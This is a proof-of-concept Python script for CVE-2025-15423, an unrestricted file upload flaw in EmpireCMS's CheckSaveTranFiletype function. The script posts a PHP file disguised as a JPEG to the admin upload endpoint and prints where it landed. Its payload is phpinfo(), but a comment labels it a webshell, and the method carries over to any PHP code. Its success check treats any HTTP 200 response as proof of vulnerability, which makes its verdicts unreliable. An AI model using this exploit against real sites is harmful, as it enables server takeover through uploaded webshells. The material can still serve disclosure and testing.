CVE-2025-15423: EmpireCMS CheckSaveTranFiletype函数任意文件上传漏洞

import requests import sys # CVE-2025-15423 PoC - EmpireCMS Unrestricted File Upload # Target: EmpireCMS <= 8.0 # Function: CheckSaveTranFiletype in e/class/connect.php TARGET_URL = "http://target.com/" # Modify these paths based on actual environment UPLOAD_PATH = "e/admin/file/upload.php" VERIFY_PATH = "d/file/" # Upload directory def check_vulnerability(): """Check if target is vulnerable""" try: # Test file upload with PHP webshell files = { 'file': ('test.php', '<?php phpinfo(); ?>', 'image/jpeg') } data = { 'filepath': 'test.php' } response = requests.post( TARGET_URL + UPLOAD_PATH, files=files, data=data, timeout=10 ) if response.status_code == 200: # Check if file was uploaded successfully if 'success' in response.text.lower() or response.status_code == 200: print("[+] Target appears to be vulnerable!") print("[+] Uploaded file path: " + TARGET_URL + VERIFY_PATH + "test.php") return True print("[-] Target does not appear to be vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": check_vulnerability()